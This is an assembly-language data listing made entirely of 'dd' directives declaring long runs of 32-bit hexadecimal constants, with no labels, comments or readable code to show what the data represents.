dd 0C30504A7h, 291000E8h, 3A6A9359h, 9D095E0Bh, 0DC00A96Dh
dd 0B74D2578h, 0FC7B39C0h, 0B2D40A96h, 0C2BF800Fh, 71840541h
dd 0D3B2B9FCh, 0CB828FDAh, 86820B02h, 5B092D31h, 35EDA5B6h
dd 0C0304947h, 0B433527h, 0EEFA94E7h, 15F10C02h, 5FD1FF02h
dd 0EB00C637h, 0CD89967Bh, 1B5A90C0h, 0AE66518Eh, 0D9A05BCBh
dd 474B1B8Fh, 7223AC8Ah, 0C0219FF3h, 1C45830Fh, 4A6A5CF0h
dd 4341A102h, 0FDC7181h, 0EDA4FE50h, 0A8C2BB40h, 1E6649DEh
dd 86BF9B5Fh, 2764C4CCh, 91CE29F5h, 34E58976h, 347AB3E6h
dd 0C50CBB25h, 0C7CC8857h, 1C467Ch, 0B190A6D6h, 674A05C6h
dd 11CB2869h, 5A1C95F3h, 1633C46Ch, 0F8125E0h, 9BB2B4EBh
dd 476E352h, 6259D31h
dd 887AC250h, 0FC1252BFh, 0E05674F5h, 42AA88h, 0C5F9057Fh
dd 0EB4B44CDh, 0D5D4E22Ah, 0C6F5E29Dh, 884E0073h, 58072864h
dd 0AC00E6C5h, 0F06F71B2h, 992F366h, 5FDF8B6Bh, 6C5B5BA9h
dd 34D38100h, 9773B909h, 0D4254733h, 0AD9973DAh, 6C41794Dh
dd 0D26BB34Bh, 0F9A955B6h, 0A770D45Bh, 0CD3F0069h, 338DDDA6h
dd 3097FB34h, 80010233h, 6125BD23h, 2067712Ah, 70E63AD1h
dd 7C668AADh, 0E4C6D400h, 9DB8171h, 9752E2FDh, 1C31282Fh
dd 10529D33h, 98244B8h, 956AFD8Dh, 4F0438C0h, 0C46C6A25h
dd 0DE8A2C32h, 8A6D3967h, 2C162B3Dh, 3FC35102h, 372B5CE2h
dd 0FB4C617Ah, 38932B02h, 292084B9h, 19441195h, 0BD098891h
dd 86CD55FBh, 0B496F901h, 710FA109h, 0D302434h, 3E0E7509h
dd 964FCCCh, 0BC268830h, 1E4E3672h, 4C0043E7h, 580AD29Bh
dd 7E00FEEEh, 0DB73738h, 0E4C25F64h, 0C9494FE9h, 2ECEE59Ah
dd 33AC3734h, 27DCE34Eh, 5E2075F9h, 0A9862546h, 0FB810100h
dd 0A67B5B2Ah, 723301A3h, 476893D7h, 46702E61h, 8413D19Dh
dd 72607B82h, 5B4BDEB7h, 42434698h, 0B0EE5648h, 30802B64h
dd 814030D3h, 1C161BCFh, 38040DE4h, 1DB8228Dh, 0A814EDB4h
dd 6C900BCBh, 3306D44Dh, 0B9134DE1h, 3FA70F9Fh, 89B513A0h
dd 0BAA6A274h, 37B43Eh, 9A4CBBBAh, 55846CBh, 1EFA243Ah
dd 0C9D90279h, 0F854E8A8h, 3A52E180h, 1DE8DF6h, 8B608FD7h
dd 6A332595h, 96082897h, 7AEE861h, 5EF380FCh, 0DCA5DC49h
dd 644BB025h, 0B5891762h, 2B8A42A9h, 415CF9D2h, 50295BDAh
dd 25053CB2h, 50DA9BD4h, 0B34A4CECh, 0BC344D45h, 0E45A04FFh
dd 82BF28ACh, 0CB426FC9h, 95C7F077h, 1B644A6Dh, 0BABB4860h
dd 58DD9304h, 4EB8DE9Bh, 4971F5C9h, 902B5158h, 5B124061h
dd 574D1497h, 6EE08179h, 5026BB2h, 81AFE01Dh, 2B106099h
dd 0B5EEA609h, 0AB0CC184h, 0DA2EE62Dh, 1FB184D0h, 0EAF2EFh
dd 84370F11h, 944D8D31h, 305F13F9h, 14CF327Fh, 0FF95F009h
dd 0A92682E1h, 71845C07h, 5B8DA7C4h, 870A7060h, 4145582Dh
dd 8E6B08C4h, 3AD13C3h, 0C1D19BEAh, 7C3DD53Bh, 253A28FCh
dd 0B4C57D14h, 3D25461Dh, 6AAB0521h, 3404EE02h, 8C443269h
dd 0E087F6D9h, 2AD77CFh, 0B7E9BF22h, 925C2133h, 4DE7624h
dd 6F8603EDh, 358EB9FFh, 20AA21ECh, 56EB8FFAh, 65509200h
dd 60886AC9h, 4C990051h, 0FEE8AB70h, 0F92534B0h, 0AFFD5B5Bh
dd 0D840D04Dh, 73F18C4Fh, 0D4F50013h, 0B1E3812Bh, 0F4BB447h
dd 48D9AA9Ch, 19129090h, 31058723h, 2D5B5F53h, 6D902FDDh
dd 70B4C38Eh, 0E1843A5Bh, 2FA129EBh, 2FE0C2h, 0B66CD468h
dd 9513027h, 12E15B7Eh, 2B8DE05Fh, 30A96F09h, 0B23651F9h
dd 675CFBC8h, 0FDCDDD69h, 7EBA2C60h, 6200BFDCh, 9BE98636h
dd 957AC082h, 9C224B31h, 0B14BB746h, 961B438Dh, 0F9499BC2h
dd 8960585Ch, 8324D59Dh, 2D5D8DB0h, 64642EEDh, 7EEC298Ch
dd 0AD69046Fh, 0BD319D09h, 100632A6h, 0AD025075h, 6019C42Eh
dd 0FA1CADh, 0BB174CA6h, 5AC592C8h, 89550997h, 153AF162h
dd 9596E152h, 82E4DB71h, 78DEAD7Bh, 0EBAE97A0h, 0AE3035C5h
dd 2C680570h, 0E65701C4h, 0CEBB6053h, 210EE162h, 815BC429h
dd 0D3240402h, 7C19C73Fh, 0DE2CDC1Dh, 31E13282h, 8F84299Dh
dd 0AC2EE380h, 4BFD4CAh, 56EA0C6Dh, 229927AFh, 38D50B8Dh
dd 93B07FEh, 0CBAEAAAh, 0EDB399E4h, 17888D78h, 0F6646A7Dh
dd 0A9BF04B8h, 2B8456DDh, 5F256DF9h, 0FDB6DE6Eh, 9D1302D4h
dd 479CC7FFh, 0D809ED74h, 8FD161h, 712B7DFBh, 0D2500F06h
dd 0E40799Ah, 0B396955Bh, 0D35D298h, 0F4F21411h, 0ECE41D89h
dd 0BD177520h, 0BD0BB298h, 0C9D1FD6Fh, 753A9821h, 0A2548207h
dd 91B2CC75h, 0ECB2015Eh, 6FD64A13h, 0B2D71833h, 4AA3C744h
dd 24C9CA79h, 83AC130Dh, 0A616FCDEh, 0CF1803F7h, 122297FAh
dd 6BBD31F9h, 965FE7D2h, 3D02FE7h, 0EAD05E5Bh, 1360FC7Dh
dd 0BCCF593Dh, 53C85B2Dh, 0E7F0FAh, 0A099BD6Eh, 7A4D62E3h
dd 68A6DE03h, 0FD094240h, 0BF02D8E3h, 5ED1B721h, 976AFF56h
dd 59EDA91Fh, 9CD36934h, 0C43FC051h, 56178214h, 0BF60F856h
dd 5B519E9Ah, 84AC6412h, 84618468h, 287BAF0Bh, 75AB5B00h
dd 0A30FDD48h, 0A5B58938h, 0AE33452Ah, 0C209D437h, 96D9072h
dd 0A5D6F6CAh, 0CA86EC46h, 11947400h, 41CDF0DCh, 0F6A00FE6h
dd 3E4106ABh, 0D2936DF1h, 5651895Fh, 4ED3E12Eh, 0BADD2A80h
dd 3FF66A6Ah, 0D2EE00AEh, 0BAA22FFh, 0F151678h, 0A552FC86h
dd 4B346E02h, 602E5CFBh, 0DF8BD98Ah, 649C6D95h, 9565601Ch
dd 0BFF0079Eh, 395E7218h, 2700B6D1h, 6EEEC8E7h, 0C5EC4A86h
dd 757481FEh, 0FE202B0Bh, 4AFD9D23h, 4AE1CB2Ch, 0BA803BDAh
dd 0F98A4F9Eh, 0AC9CC1A3h, 7DACD7D3h, 9D858358h, 7AA0E5F5h
dd 3EC0D59Bh, 7F8229B8h, 2E41450Eh, 99DE25Fh, 58D15E10h
dd 905B25CFh, 0CEBCE035h, 63A04B8Eh, 34E13D78h, 7343610Fh
dd 5096250Bh, 8AAE37EBh, 0D0A060EEh, 4255FF32h, 90DB7B35h
dd 717BDCC0h, 4A25CAF6h, 92AD66D8h, 0CE244AE2h, 734A258Ch
dd 2547D8F1h, 8778CD7Ch, 67AAD609h, 4A6CDF51h, 95FFB04h
dd 549299B5h, 0A9726096h, 500D2F45h, 89FA8446h, 5E5BD25h
dd 8B64F536h, 0E38FA2ECh, 24E6CD81h, 444EE826h, 69727E9Fh
dd 319D9051h, 71A5999Dh, 0B8485C76h, 0E8D317FFh, 2D256EF8h
dd 0DBA79F65h, 3E150E5h, 0D599D12h, 47889AB3h, 5B6DB789h
dd 0BBCDA57Ah, 0FC47E440h, 761896C6h, 0F4091446h, 855955B7h
dd 0D4FF5CEBh, 4A9CDC07h, 3EF22A1Ah, 2D67DE4Eh, 434E9AF9h
dd 8CFFF455h, 74E016F6h, 0E029A21h, 103F1697h, 9941C081h
dd 0C18B8007h, 0F58D9895h, 0B2B32D90h, 59B93B40h, 0D1BB7001h
dd 61064087h, 0AED1852Ah, 0E302A17Ah, 696E1BA6h, 7B630B7Dh
dd 0F6D7D3F0h, 8816BCA1h, 0AF9BEDD6h, 0F0E1A1C0h, 7A09CF98h
dd 5460F1D8h, 0D6804F8Ch, 2C9CD08h, 8BA21117h, 0FDB4A4h
dd 0B6660DF9h, 0E6B4C0BAh, 42B9DE9Fh, 50052699h, 4A00AEE2h
dd 0BEAEB108h, 0A800E747h, 0BB5C5462h, 11F51E9Eh, 10AE957h
dd 5AD24B8Dh, 0FAD8DA39h, 5FB338CDh, 0BB4D00CBh, 4AC1A58Fh
dd 166F6A5Eh, 4BB6EF1Fh, 907E9BA2h, 4C691910h, 0B1ED5A04h
dd 86716B12h, 60020AA1h, 0DA1F01C6h, 0F580621Bh, 3A79F363h
dd 0D251264Bh, 33050942h, 976B1C57h, 7B00B635h, 0FC0ADE76h
dd 0D1FF2697h, 124DE3Ah, 0CD19AE51h, 282B5BF3h, 33D27BBDh
dd 0F3B8DCA9h, 680BBFE0h, 80B177B3h, 0D00DDE9Eh, 26A326Eh
dd 0AFA9B97Ch, 0F5590B57h, 0E9D33D0Eh, 0F93EB943h, 0D3649396h
dd 2B1032C2h, 0D600F164h, 0C979B0F9h, 94C112F6h, 1F42671h
dd 0E9E84AEFh, 1DCE2A77h, 2CD69210h, 5CCB0460h, 2B0F106Dh
dd 0C4586361h, 8E6500AFh, 7B2E251Eh, 0E925BD2Bh, 80235B2Dh
dd 796CB81h, 0BBF279E8h, 0BAD1CF04h, 37EE5004h, 0EDDFD92Eh
dd 0ABF664D2h, 1923026Eh, 0D211100h, 0A3076A1Eh, 5506D28Eh
dd 18447CCFh, 0F49D360h, 84475F27h, 0A31226CCh, 6AF81EDAh
dd 21CC311Fh, 5EB51F27h, 261AE155h, 88FEF0B4h, 0D8F84A34h
dd 31885BBDh, 2335218Dh, 5B738594h, 0EDDD88h, 2BD2E2F1h
dd 1050777Ch, 80EE4838h, 0C96407B4h, 9570E64Bh, 747777C4h
dd 951B0300h, 1CC77FF4h, 0F7A14h, 8BBFCD94h, 5F516655h
dd 6071E41Ch, 307D965h
dd 64661C1h, 0B83BAD90h, 0EDEB3C00h, 81687DA6h, 0CEF90B9Ch
dd 16503002h, 4C191520h, 7AC0D461h, 48D4B4A5h, 0F7A88200h
dd 311894DDh, 0D6D3026Dh, 615AD08Bh, 0D7911A5Ch, 5420BB02h
dd 195C39D8h, 0A0AFF827h, 259853ABh, 16C4179Eh, 38AB302h
dd 0C4286DBDh, 97DEE4C2h, 0CD711809h, 264451A5h, 99FB1F97h
dd 0FDD85AD1h, 574FA69Ah, 69075F61h, 0DCF1CCh, 2A23ED0h
dd 8BD844BCh, 0AF87A702h, 0E1BAC08Eh, 0CC2A04A7h, 0DB4BBF9Eh
dd 0F7811F90h, 101868BEh, 866225F0h, 16521955h, 0F4FEDD3Fh
dd 3500668Ah, 162FF63Ch, 143DD487h, 3447E925h, 0F514C84Ah
dd 37151197h, 2BFE8B11h, 9E80FE64h, 48C5A3E0h, 5941A568h
dd 5B86F804h, 3352A52h, 0B40F78E0h, 0C06F50EEh, 92CB953Eh
dd 16E6617Bh, 5E57E210h, 1FFA0D88h, 7440961h, 42B9DED7h
dd 775D372h, 0B70B6A79h, 0C6A88030h, 81F5239Eh, 8B456709h
dd 842271F8h, 91358501h, 0A54BB9D7h, 29BD0E8Fh, 0F60B5695h
dd 0B49B3E09h, 30971B2h, 0A133683Fh, 0B8C973C8h, 50C58A03h
dd 0B8359A7Eh, 20F9E6h, 0B960FCF1h, 1D9FFA1Bh, 1F9F617Dh
dd 811491FBh, 6D9D8932h, 2576E63Dh, 6C5C23B5h, 50D75B69h
dd 1E97DDBAh, 7D6EC80Fh, 4C9B7A5h, 0B8600BB2h, 0CEE74F0Dh
dd 2998C9B3h, 184B59B5h, 9A5B078Bh, 29278059h, 0B50F998Dh
dd 18E4516Dh, 79574660h, 117D602h, 55272D9Dh, 0AD684EC7h
dd 3B1916D6h, 5D8AC074h, 0EC09BFC6h, 712498ACh, 4F69444Bh
dd 2755A989h, 5609B8F6h, 0A401F6A3h, 0F957C6E3h, 0B7311307h
dd 23B74E2Fh, 0B8252DC4h, 0BCA6B451h, 0C106DBA0h, 0C2433A00h
dd 0B749B908h, 0E1FF093Bh, 3B71F98Bh, 9B9D244h, 0AE0088ECh
dd 0AC8F6917h, 0BDE6F6A5h, 3D596C09h, 8452B944h, 21AD83C0h
dd 0D638AB84h, 0AA2DD26Dh, 46160F6Eh, 60EDF075h, 0EE79A093h
dd 2A2B2EF8h, 96CC19BDh, 0E227125Eh, 0C7F74848h, 4EF1A675h
dd 162EFFD7h, 0ADF9842Fh, 10C1012h, 3701BF3Ch, 0DB805B36h
dd 0D2342A7Ah, 0A444E87h, 0EE8674ABh, 0FD00D06Eh, 509C9A9Fh
dd 3B26F1BFh, 40B855Eh, 0DC275E24h, 477B9A02h, 77314BDAh
dd 0D4E3FB81h, 7B4EAE5Ah, 0AEFC48DCh, 38179110h, 628F0068h
dd 5FB5BF6Fh, 32EF9A7h, 7D8CFF03h, 0D18589E0h, 90B70F4Ah
dd 8DAF513Eh, 0B95F9BA4h, 8C14AC0Dh, 0B7500FE6h, 15FE3F0h
dd 3AA1D6A7h, 0B3C82F21h, 0D32001Eh, 9F08C831h, 0F35EE33Fh
dd 816EA6F1h, 3ABAC6E8h, 6980DB9Eh, 0BFE6161Ch, 0E9DDFE08h
dd 9ED2800Ch, 8DC7A697h, 0A4CDA509h, 597F89F6h, 402E5463h
dd 0A60619Bh, 7036FDh, 58C95355h, 4D7893E7h, 29EA080Fh
dd 560F4985h, 94BFE0D3h, 604B92E6h, 2D89748Ch, 8A73F806h
dd 5E181759h, 0A4954B12h, 6E2A58E1h, 6FDC0073h, 3D476475h
dd 0E0964E66h, 8E360F12h, 0F9122902h, 0FF6E6Bh, 57A56F8Ch
dd 12FEA14Eh, 0BF68524Fh, 6044E745h, 68CD14AEh, 84C1B12Fh
dd 80342E61h, 15E51981h, 0BC46800h, 60176502h, 5C50F88Ah
dd 6608CCCAh, 0E96CBF3Bh, 843F5C10h, 807A083Bh, 0C05CE7B6h
dd 5606C225h, 1B46D64Ch, 18297E00h, 2FD1FCACh, 0BB667B06h
dd 95D2F799h, 0DA4DB550h, 0F2563047h, 4ADC46EFh, 0B22AB65Fh
dd 0D608301Bh, 459E1002h, 0E0F78F3Ah, 8103392Dh, 4F612C61h
dd 19B2DEF7h, 0A848A30h, 0CC0212B1h, 0DB6D09AFh, 7467859h
dd 0EB92BF35h, 0B57F0E62h, 1818F1BBh, 2B971DC9h, 85F1A583h
dd 0F0958F00h, 102C52Ch, 5FB33035h, 66BE9E5Bh, 507BF071h
dd 20134E14h, 4E8E15F6h, 93CD5A00h, 72B7E69Eh, 0B0285B73h
dd 24B0E54h, 922838Ah, 1EF8859Fh, 6248A6AEh, 5E1DFD18h
dd 0A4EA714Ch, 0E7AC61B5h, 4441CF2Fh, 91A46016h, 0F2BB04FEh
dd 0AB3AED58h, 79034E64h, 0D01CEA9Ch, 0ECD2BBE0h, 91371CF2h
dd 839D424Fh, 0A9561E27h, 0F9526062h, 0DE1800ECh, 8ACBAEF4h
dd 20BA9600h, 0A4525328h, 0B0AD09CDh, 5671615Bh, 84ACBB80h
dd 7F960578h, 0DE8EB753h, 82A07A11h, 2242318Dh, 0B807B3C4h
dd 74A9D20Eh, 71028FB8h, 5E6C2BA2h, 6DC8E092h, 65B9511h
dd 56181C79h, 7E137B00h, 0B10B69FBh, 3B1A974Fh, 9A1C7466h
dd 2A41F8C6h, 66391E3Ah, 5DCDA2D1h, 5A866870h, 14170C4h
dd 7F014C0Eh, 8F25392Fh, 8BDC0828h, 9941CCCh, 1E5B2551h
dd 0CD181859h, 2E253CE2h, 841BCA2Ch, 1BB82F74h, 0D2FBAC97h
dd 0CD481BB3h, 0B2023E12h, 95B64BFCh, 0B9D6D3F0h, 5FA69F01h
dd 6E91294h, 0BE7A2D10h, 2CA9FB18h, 0AE16C99Ah, 8E3700ABh
dd 0A4DF258h, 0AD013F09h, 891519DAh, 0DB3B6AC2h, 7C86C759h
dd 0AC5FAE00h, 0D3B1BF15h, 388B0883h, 0A84AF9BDh, 8B9AB59Bh
dd 2D8453C9h, 6FE0FEBDh, 0AD507296h, 55FFE0A9h, 6972E1F8h
dd 61ECA829h, 6625A126h, 12A3983Bh, 0E2611DD7h, 136B8E3Ah
dd 2CE87CA9h, 43C7CC02h, 5D509BF9h, 0F3209090h, 5F00A47Eh
dd 7567713Ah, 0B45D2ECh, 8A6FE66h, 0C8AB8576h, 1DC0FE78h
dd 0F9464Ah, 890D1A3Fh, 2E4B3D8Dh, 973247C8h, 8255343Ah
dd 20BB90Bh, 0DCDE880Fh, 5461F58Bh, 0D6C9E8B3h, 96C1CA00h
dd 0F6E35487h, 0BEB30184h, 75BD3360h, 5FB62F30h, 16A31018h
dd 879BE673h, 26D261ADh, 8C67742Eh, 480046CEh, 5CF7D174h
dd 138A20Ch, 9271DF4Bh, 2EB56731h, 8A5F5A28h, 5338985Fh
dd 5DE8F80Ah, 975B322h, 615AA48Ah, 46D6E554h, 6F1A1215h
dd 6E3E6AE1h, 56815A58h, 8741A12Eh, 0AD0428D5h, 8C19EC72h
dd 28342201h, 80EF0C77h, 0EE9C9CBh, 4E20F010h, 23985403h
dd 0F0D5DFCFh, 504CD86Fh, 7FDB9461h, 9593F4C5h, 2E531661h
dd 5B998B19h, 5A76C1DDh, 9EBE27F0h, 0F5B8AB4Bh, 5C82B3D2h
dd 50901650h, 2380C2FCh, 824B5D2Fh, 55865900h, 0CB510289h
dd 905B2777h, 1745B4D8h, 9EEC2FC3h, 0F77EF5FAh, 762CE61h
dd 0B96AEDE6h, 3F5CB827h, 98014C78h, 0FC0B0EC6h, 6D24C86h
dd 0CDADD800h, 0ACF3811Ch, 4FC90B1Bh, 54DBC083h, 0E1F8B78h
dd 50635F0Bh, 1660DFC9h, 0B969E780h, 3595952h, 0C225BADDh
dd 0DC4FA8C0h, 225CD632h, 9A6D75F5h, 66601A64h, 55095421h
dd 73ACF1CFh, 147BAD25h, 2697450h, 6C787C9Eh, 7E49E375h
dd 27643209h, 0C2944DD1h, 756BACh, 0B6B7C7D5h, 20B3B061h
dd 0B760201h, 540F5D25h, 2BC0719Dh, 0B6B074F7h, 46982979h
dd 9CA32D5Ah, 0A04BF64Fh, 4B49FE93h, 1DCDE08Ch, 51900412h
dd 3F8054A8h, 0C827DD30h, 1157AE00h, 0F4592BDh, 2521DC86h
dd 0BB00405Ch, 5624F15h, 0DC68B690h, 55C85400h, 0DC0371Bh
dd 0E80C5847h, 115C8D3Ah, 0A8A6A9E4h, 0F8B3003Bh, 0B529F65Fh
dd 92830919h, 459C55C4h, 95E61120h, 0A10EA564h, 60F5395Fh
dd 0FFB70F2Dh, 0E25A965Bh, 635C2FDDh, 3551E9h, 65ED1820h
dd 82005DC4h, 0CD7AD2ABh, 0DADF433h, 0C98531F1h, 905FC894h
dd 80B46003h, 0EA0AB966h, 8E6CDC61h, 0BF121181h, 0B304BD60h
dd 0BADC00D3h, 295E258Eh, 60956AB8h, 3968BB25h, 81DE324Eh
dd 0D6E38035h, 31C47E5Ch, 428B5C2h, 0B09CAAF5h, 409511D7h
dd 8A51805Ch, 0F76A5BD9h, 0BAC195E8h, 0DC82A212h, 0FBFA6A4h
dd 0DB9615DDh, 500FCC0Ah, 0A20D5A09h, 13C8439h, 0AF858904h
dd 8BB0A44Ah, 9D000911h, 222DA9DAh, 75282780h, 8920D2ACh
dd 295F0923h, 2B224D95h, 907D70E6h, 3964B884h, 2C027858h
dd 71E4D1EDh, 6AB8015Ch
dd 8102FE79h, 8223EECEh, 0C1F25DEh, 0C87EB626h, 1A5FDF00h
dd 0BF660E63h, 889D4BD9h, 0FD0BBB0Ah, 96E6B25h, 4249FE6Ch
dd 0B1B1721h, 468DD762h, 0B4634D18h, 370EFA05h, 9A80163Dh
dd 2CE257A9h, 630F5108h, 0D41291DCh, 13AA5B25h, 0BEB24174h
dd 0A4D18BFCh, 98134A93h, 859460ABh, 5FE24C44h, 40A099Fh
dd 28AA87F5h, 703C006h, 0BC7D53BBh, 0C610447Ah, 0C31E619Dh
dd 2E1793BFh, 4602350h, 5DE9FD8Ah, 0A91604B2h, 0C065A917h
dd 0E5EEE781h, 0AF0950E2h, 0BA045A2Dh, 3C840321h, 4AB7216Fh
dd 27652EFAh, 187EB8Ch, 41C50563h, 20918EAEh, 0AA04143Dh
dd 4A90990Dh, 79185F84h, 940C25C0h, 3670C02Ah, 0B8259E8Dh
dd 122ACC09h, 0EAED662Dh, 0E704586Fh, 0A1419D23h, 2444A329h
dd 7A23BC59h, 0D81C4D17h, 5B4BF81Bh, 1189408Ch, 1310AD8Dh
dd 0E4A90FDDh, 0FB0458E8h, 831238B3h, 8B255CB8h, 0F24E0CD4h
dd 9AA6EBBh, 0B9716FFh, 9DFEE4ACh, 3FD08853h, 0BEDF0492h
dd 0AFB98E06h, 0DD56AC20h, 94464CBDh, 0C6078839h, 0B05CF6ABh
dd 0E49939BBh, 95137295h, 600F3B9Eh, 0E44DEE81h, 0A0811DE7h
dd 0B33D61F1h, 40AC6EB9h, 6A02EC89h, 485C477Fh, 1DE8B41h
dd 97037DFCh, 8C0F2C38h, 4D62AC9Ch, 5A165C23h, 3950BD53h
dd 7BF30E05h, 0CF42F5DEh, 65558F0Fh, 0C0CE0005h, 507282FAh
dd 0C1C58502h, 0D57B4A7Fh, 0BF1F9E17h, 0C1BC2613h, 56595225h
dd 233F8164h, 85EF071Dh, 0F61EE0DAh, 9B256D89h, 7E0049Dh
dd 9E9030B9h, 0AD03E512h, 8C19BC59h, 8638370Eh, 0FF344206h
dd 7032D3E1h, 410473E1h, 9EB3384Ch, 71A123B8h, 0FB9E2A04h
dd 0D37AC080h, 0D9259D29h, 0C65D5915h, 8F83635Bh, 1D5C0DCAh
dd 27841271h, 8771F380h, 0C1F9478Dh, 302B08BEh, 9395230Ah
dd 0A54C16E2h, 939EA82Dh, 0BF127556h, 573BDFA4h, 95B0FB01h
dd 0E0E6764h, 458D3CDAh, 7DC0C46Eh, 2F9D034Ah, 0D7E52905h
dd 40C8EDADh, 0FA9C6CD1h, 97256490h, 0B322CE1Dh, 2C7F597Ah
dd 0B59D16BEh, 7D0C4558h, 89508126h, 627BE16Ah, 0E07466CFh
dd 465100D7h, 150AC1F6h, 2D01563Ch, 11BE7099h, 6F3F6AC6h
dd 6A412744h, 4156ACh, 68F877A0h, 817DFCEh, 0FBF457ACh
dd 4B16E431h, 8B4E9B54h, 0EDC60212h, 0E4375C28h, 0CF30B8F9h
dd 23647F5h, 7F4D5F0Bh, 8F2C32C0h, 15E30949h, 0F5A90DDBh
dd 31FD8D82h, 8D40BA55h, 0F22F9657h, 5AF88975h, 456B7ADh
dd 8FE400DEh, 0EBC6CF1h, 8D27A7E1h, 0D69B9085h, 6FFA1C77h
dd 0C9B740E3h, 69EA73F4h, 66F5E425h, 0C38100E0h, 64314CC5h
dd 53950689h, 0AC9E7054h, 0AE58CA00h, 2FAFBB67h, 0E6575AFCh
dd 646251Eh, 0BF13B955h, 3E002A46h, 5CAB744Ah, 13F02560h
dd 962EF1Ch, 0AF445062h, 0D0EAC81Fh, 0C4DECF8Fh, 6EEF9697h
dd 83550A15h, 7909CFDFh, 5916D50Eh, 0D481B4h, 996FD073h
dd 0DD4F8F82h, 26C8FC4Bh, 862C3E5Bh, 0AC8800F2h, 0B3735C8Ch
dd 81E65F2Eh, 16B45B5h, 4ED561BBh, 6913817h, 8B3B7EADh
dd 0BCB8E979h, 80B24Fh, 6447F591h, 0A0338109h, 3EABA97h
dd 0D5CA83AAh, 5BDA1836h, 0B860E190h, 0C4F3861Fh, 0FCE50F1Eh
dd 26DF5032h, 5D02900h, 4217614h, 0EEA17394h, 59750BD7h
dd 1C375861h, 0F4C86D85h, 48487CECh, 0E3E0B012h, 0BD890460h
dd 32EE2CF9h, 90BD95Eh, 48BB5464h, 19410BDEh, 565ABF5Ch
dd 0F7F4D4EDh, 0BDFD594Ah, 2513E986h, 3B5A9Fh, 90E58669h
dd 0CD28FAA6h, 6101A5F0h, 0F3F26EC2h, 13799531h, 0B19B35Eh
dd 0FE61D2B7h, 0D90BDC87h, 0D17F8777h, 8767A52Fh, 2D4C2AEh
dd 0EE1D53E9h, 96564069h, 2DA74651h, 0E60010B7h, 892D8068h
dd 0AFF96BB5h, 0C141E67Eh, 0DAEC0879h, 90CA02F4h, 0A47804D5h
dd 2E650941h, 2921C8C2h, 2B068EE1h, 30E90B8Eh, 0D4129BBh
dd 1F98827Eh, 0B64409h, 0E0D65862h, 757016EEh, 0EAB70F09h
dd 4578715Bh, 0E7BC5D7Dh, 67256B7Eh, 566A116Ch, 0C003F033h
dd 21A600D9h, 4731F214h, 0BB1266E0h, 0C3A69189h, 0E3FABF12h
dd 2DA586Dh, 0A9BD23BBh, 0EBED560Ah, 4A568F62h, 8FD38160h
dd 287513C5h, 35F48296h, 0FAFAC05Dh, 6E3EF561h, 0A82F01FFh
dd 595297Ah, 0E0790275h, 0AB1EEDC4h, 0D5F87972h, 1B910BB5h
dd 5369F380h, 2F14BF9Dh, 129C6FF9h, 2AAA42F8h, 96DC843Ch
dd 78CF95C0h, 9D0B1260h, 840DF859h, 60B861D3h, 0FE880FC5h
dd 0E05FC528h, 0DA33096Bh, 0FD6C30EFh, 9D0C8843h, 815D2AFDh
dd 534BE777h, 71B64D85h, 645C78E2h, 34008645h, 0D8E3EB81h
dd 8D634BAFh, 0E19F616Ah, 0D59D121Ch, 3FB81799h, 51C0889Eh
dd 580C3217h, 0DC5AD030h, 5553C9E3h, 0D93B996Ah, 481A4A7Ah
dd 0FD886942h, 169C2E35h, 293F4238h, 5096C08Bh, 0E6987C0Eh
dd 6595264Dh, 0AFBF04A3h, 0C620AE59h, 3FE886E2h, 0F7006CF3h
dd 0EED7A7DBh, 0CD046263h, 1D3977ABh, 60C92CB8h, 15486ED0h
dd 1AD580D1h, 9E28161h, 66B5DA1Ch, 5B643A71h, 0C9B50142h
dd 0FC0029D5h, 0E1CF39D9h, 9E206F74h, 0EA5AADh, 1B2736CAh
dd 0E03203F9h, 80E96A3Ch, 12C25D84h, 0B059C035h, 1EB717D9h
dd 6062E061h, 6D96B42Dh, 0BB03C0C8h, 0E114A2D7h, 10A26833h
dd 0F6A42A81h, 0F65E085h, 0C4669783h, 0D0F0822Dh, 449A959Dh
dd 31855682h, 0E4FBCD55h, 9EB96017h, 203AFB0Ch, 0AE380F3Fh
dd 337C870Eh, 0D5B96095h, 9861363h, 7EEA76FFh, 0B114173h
dd 59132C03h, 56987255h, 6E255F60h, 113CC565h, 95890415h
dd 0DDBF2799h, 0C6F224D9h, 0DFEA83ABh, 0FC7AF256h, 5902D4CDh
dd 8712B43Bh, 40E1F610h, 6E9E8BC1h, 83B2B607h, 0CEE39B92h
dd 0FCBDC043h, 0E7E9255Bh, 4E48EC62h, 82BD3EF6h, 48799D84h
dd 95DC8AA2h, 0F8FBCC9Ah, 0FD83E70h, 58A0A8F5h, 3093DDC5h
dd 0AFB5E1CCh, 8EF8CC00h, 13872B7Bh, 0AE4507CAh, 0F1472C0Ah
dd 3E820F90h, 2D8021CCh, 1A635002h, 0DC7949FDh, 5C3834F7h
dd 0E1487856h, 5B277858h, 0ED97B7F8h, 0F302C199h, 3656C60Eh
dd 3594F218h, 9610BB7h, 0F6F1AD8Dh, 39200728h, 0E1A4800Fh
dd 6FED4AF4h, 699200A7h, 3DF62A3Ch, 33DA099Fh, 3070F89Bh
dd 0B157AC4h, 0B1FC900Bh, 0CC2F742Ch, 0D49A9ECAh, 89073F01h
dd 819E92CCh, 31EA68E0h, 11F40997h, 7AA12A87h, 0C2689B6Eh
dd 43A4F09Dh, 30592FEh, 4C2D86B7h, 0C5F7548Bh, 0FF86C42Bh
dd 88893829h, 3AC19E96h, 21352E0Dh, 2DC03B9Ah, 9B1523FEh
dd 0D1D92512h, 8208ED08h, 0BD853151h, 815F8548h, 0A543CF05h
dd 79AA5615h, 0DC6A6E1Fh, 27F09602h, 0B0A49FA5h, 42006F02h
dd 26BF6283h, 7126D1A0h, 102F6250h, 0BC343A4h, 7633474Ah
dd 72567EA9h, 74C009A7h, 4F08C43Ah, 6B1A6059h, 7F5A756Dh
dd 0B39C4AE2h, 0F4EB8459h, 0C24DE116h, 27F03D77h, 0DAE88310h
dd 5444162Dh, 6FEDE9C0h, 3EF27245h, 7FF0DE03h, 4087B3E3h
dd 78BD0773h, 0A9BFC701h, 1914758h, 971E3C20h, 8BA7072Fh
dd 0C327E5A3h, 0E6CCFA3Fh, 4BD5E017h, 421B12FAh, 0C7E5C8A2h
dd 77F3403h, 0F06A6B49h, 2FAF4A1Bh, 0C56160CBh, 0D4800011h
dd 56DBA227h, 0C79C91Fh, 0F6D7BF00h, 9231420h, 0F971D46Bh
dd 0C015371h, 0B08FBDDCh, 0F83CD470h, 0F0EC4B7Ah, 734B6B39h
dd 1C1EDFDh, 2A08359Dh, 0F33A7BDDh, 35B30F15h, 596FF26Ah
dd 0D028A70Dh, 102BC568h, 9430EDB5h, 0BC03F413h, 6CBF254Ch
